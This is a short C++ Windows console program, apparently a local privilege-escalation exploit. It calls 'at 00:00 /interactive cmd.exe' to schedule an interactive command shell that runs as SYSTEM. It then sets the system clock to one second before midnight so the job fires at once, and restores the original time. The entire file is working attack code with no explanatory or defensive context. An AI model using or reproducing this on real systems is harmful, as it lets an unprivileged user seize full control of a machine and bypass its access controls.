// system.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    SYSTEMTIME startTime;
    SYSTEMTIME nowTime;

    GetLocalTime (&nowTime);
    startTime = nowTime;
    printf ("Current time: %02i:%02i:%02i:%02in",nowTime.wHour, nowTime.wMinute, nowTime.wSecond, nowTime.wMilliseconds);

    system ("at 00:00 /interactive cmd.exe");

    nowTime.wHour = 23;
    nowTime.wMinute = 59;
    nowTime.wSecond = 59;
    nowTime.wMilliseconds = 500;
    SetLocalTime (&nowTime);

    Sleep (1000);
    nowTime = startTime;
    SetLocalTime (&startTime);

	return 0;
}